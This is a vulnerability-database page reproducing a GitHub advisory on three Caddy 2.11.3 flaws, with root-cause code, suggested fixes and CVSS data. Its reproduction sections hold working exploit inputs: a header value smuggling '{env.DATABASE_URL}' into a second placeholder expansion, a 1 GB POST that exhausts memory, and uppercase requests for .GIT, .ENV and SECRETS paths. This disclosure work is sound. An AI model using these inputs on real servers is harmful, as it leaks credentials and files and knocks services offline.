Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass
CVE-2026-77281 (GitHub advisory GHSA-j8px-rmrx-76h9) is a medium-severity vulnerability with a CVSS 3.1 base score of 6.5, classed as Improper Control of Generation of Code ('Code Injection') (CWE-94), in github.com/caddyserver/caddy/v2 (Go). Affected versions: <= 2.11.3. It is fixed in 2.11.4.
Published 17 Sept 2026Updated 18 Sept 2026
- CVE ID
- CVE-2026-77281
- GHSA ID
- GHSA-j8px-rmrx-76h9
- EPSS
- 0.36%higher than 29% of CVEs
- Weaknesses (CWE)
- KEV status
- Not in KEV
- Published
- 17 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- Go
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
- Contains a placeholder that resolves to request data (e.g.
{http.request.header.X-Foo}), AND - Ends with a literal
?(with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
{env.X}— any env var on the Caddy process{file./path}— any file readable by the Caddy process (iffileprovider is registered){vars.X}— Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.
Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)
Root cause
When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit (Windows PowerShell):
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
Container state immediately after:
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
Real-world exploitability
The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.
Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.
Suggested fix
Wrap the body read with a LimitReader keyed off either:
- The operator's configured
request_body.max_size(if set), or - A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.
If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.
Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation
File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call)
Class: CWE-178 (Improper Handling of Case Sensitivity)
Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)
Root cause
fileHidden() uses filepath.Match, which is case-sensitive. However:
- macOS APFS is case-insensitive by default
- Windows NTFS is case-insensitive by default
- Linux ext4 can be configured with the
casefoldflag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side
On a case-insensitive filesystem, the OS resolves /.git and /.GIT to the same directory, but Caddy's hide check only fires on the exact-case literal .git. Result: the file is served via the uppercase URL.
On a case-sensitive filesystem where both .git and .GIT exist as separate directories, Caddy hides only .git and exposes .GIT.
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
root * /srv
file_server {
hide .git .env secrets
}
}
Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):
/srv/.git/HEAD "ref: refs/heads/main"
/srv/.GIT/HEAD "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
Test transcript (all three hide rules — .git, .env, secrets — bypassed via uppercase):
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)
PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0
PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.
Why this matters in practice
.git, .env, and secrets/ are three of the most common entries in production Caddy hide configurations because they correspond to high-value attacker targets:
.git/HEAD+.git/config+.git/objects/→ source code disclosure.env→ credentials, API keys, database connection stringssecrets/→ operator-named bucket of anything sensitive
The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the hide directive provides no protection at all for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.
Suggested fix
In fileHidden(), on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on GOOS=darwin and GOOS=windows, and to document for Linux operators that they should not rely on hide if their filesystem has casefold enabled or if they manage their files with case-folding tools.
Alternative: enforce that paths matched by hide are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.
Reproduction kit
A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official caddy:2.11.3 Docker image.
Reporter
Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:LMedium6.5Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- None
- Scope S
- Unchanged
- Confidentiality C
- Low
- Integrity I
- None
- Availability A
- Low
CISA SSVC decision points
- Exploitation
- none
- No public exploitation evidence
- Automatable
- yes
- Attackers can automate this at scale
- Technical impact
- partial
- Limited control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- github.com/caddyserver/caddy/v2Go
pkg:golang/github.com/caddyserver/caddy/v2- Affected versions
- <= 2.11.3
- Fixed in
- 2.11.4
| Package | Affected versions | Fixed in |
|---|---|---|
github.com/caddyserver/caddy/v2 Go pkg:golang/github.com/caddyserver/caddy/v2 |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 2.11.4 or later.
Patch commits
rewrite: prevent placeholder re-expansion in injected query (#7761)
+45 −0 across 2 files
- modules/caddyhttp/rewrite/rewrite.go+9 −0
- modules/caddyhttp/rewrite/rewrite_test.go+36 −0
Release commits
The commits each fixed release tag points at. They usually bump the version rather than contain the fix itself.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Fixes 2
Advisories 4
Package 1
Other links 1
Credits
- WhiskerEntreporter
Questions about CVE-2026-77281
- What is the GHSA ID for CVE-2026-77281?
- GitHub tracks CVE-2026-77281 as GHSA-j8px-rmrx-76h9.
- What is the CVSS score of CVE-2026-77281?
- CVE-2026-77281 has a CVSS 3.1 base score of 6.5 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.
- Which versions are affected by CVE-2026-77281?
- github.com/caddyserver/caddy/v2 (Go): <= 2.11.3.
- How do I fix CVE-2026-77281?
- Upgrade to 2.11.4 or later. The fix is in commit 176b043 and pull request #7761.
- What is the Package URL (PURL) for CVE-2026-77281?
- The affected package's PURL is pkg:golang/github.com/caddyserver/caddy/v2.
- Is CVE-2026-77281 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-77281. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "none". EPSS estimates a 0.36% chance of exploitation in the next 30 days, higher than 29% of CVEs.
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)LoadedRaw JSON
- CVE.orgLoaded
- CISA KEV catalogLoaded
Fetched 5 days ago (8 Oct 2026, 12:53 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
- EPSS
- GitHub Advisory Database
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.